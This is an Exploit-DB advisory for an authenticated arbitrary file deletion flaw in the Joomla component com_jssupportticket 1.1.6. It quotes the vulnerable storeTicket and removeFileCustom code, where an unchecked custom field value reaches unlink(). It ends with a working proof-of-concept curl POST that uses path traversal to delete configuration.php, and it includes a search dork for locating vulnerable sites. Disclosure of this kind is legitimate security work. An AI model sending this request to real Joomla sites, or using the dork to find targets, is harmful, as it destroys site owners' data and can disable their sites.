Joomla! Component JS Support Ticket (com_jssupportticket) 1.1.6 - 'ticket.php' Arbitrary File Deletion

EDB-ID:

47223

CVE:

N/A


Author:

qw3rTyTy

Type:

webapps


Platform:

PHP

Date:

2019-08-12


#Exploit Title: Joomla! component com_jssupportticket - Authenticated Arbitrary File Deletion
#Dork: inurl:"index.php?option=com_jssupportticket"
#Date: 10.08.19
#Exploit Author: qw3rTyTy
#Vendor Homepage: https://www.joomsky.com/
#Software Link: https://www.joomsky.com/46/download/1.html
#Version: 1.1.6
#Tested on: Debian/nginx/joomla 3.9.0
#####################################
#Vulnerability details:
#####################################
This vulnerability is caused when processing custom user field.

file:	admin/models/ticket.php
function:	storeTicket

    54	    function storeTicket($data){
    ...snip...
    75	        $userfield = $this->getJSModel('userfields')->getUserfieldsfor(1);
    76	        $params = array();
    77		foreach ($userfield AS $ufobj) {
    78				$vardata = '';
    ...snip...
   121			if(isset($data[$ufobj->field.'_1']) && $data[$ufobj->field.'_1'] == 1){
   122	                $customflagfordelete = true;
   123			$custom_field_namesfordelete[]= $data[$ufobj->field.'_2'];	//no check.
   	...snip...
   198	        if($customflagfordelete == true){
   199			foreach ($custom_field_namesfordelete as $key) {
   200	                $res = $this->removeFileCustom($ticketid,$key);	//!!!
   201	            }
   202	        }
   ...snip...
  1508	    function removeFileCustom($id, $key){
  1509	        $filename = str_replace(' ', '_', $key);
  1510	
  1511	        if(! is_numeric($id))
  1512	            return;
  1513	
  1514	        $db = JFactory::getDbo();
  1515	        $config = $this->getJSModel('config')->getConfigByFor('default');
  1516	        $datadirectory = $config['data_directory'];
  1517	
  1518	        $base = JPATH_BASE;
  1519	        if(JFactory::getApplication()->isAdmin()){
  1520	            $base = substr($base, 0, strlen($base) - 14); //remove administrator    
  1521	        }
  1522	
  1523	        $path = $base . '/' . $datadirectory. '/attachmentdata/ticket';
  1524	
  1525	        $query = "SELECT attachmentdir FROM `#__js_ticket_tickets` WHERE id = ".$id;
  1526	        $db->setQuery($query);
  1527	        $foldername = $db->loadResult();
  1528	        $userpath = $path . '/' . $foldername.'/'.$filename;
  1529	        unlink($userpath);	//!!!
  1530	        return;
  1531	    }

#####################################
#PoC:
#####################################
When administrator has added custom user field as "19", attacker are can trigger this vulnerability by send a following request.

$> curl -X POST -i -F 'option=com_jssupportticket' -F 'c=ticket' -F 'task=saveTicket' -F '{VALID_FORMTOKEN_FROM_FORMTICKET}=1' -F 'Itemid=666' -F 'id=' -F 'message=woot' -F '19_1=1' -F '19_2=../../../../configuration.php' -F 'filename[]=@./woot.txt' -H 'Cookie: VALID_SESSION_ID=VALID_SESSION_ID' 'http://localhost/index.php'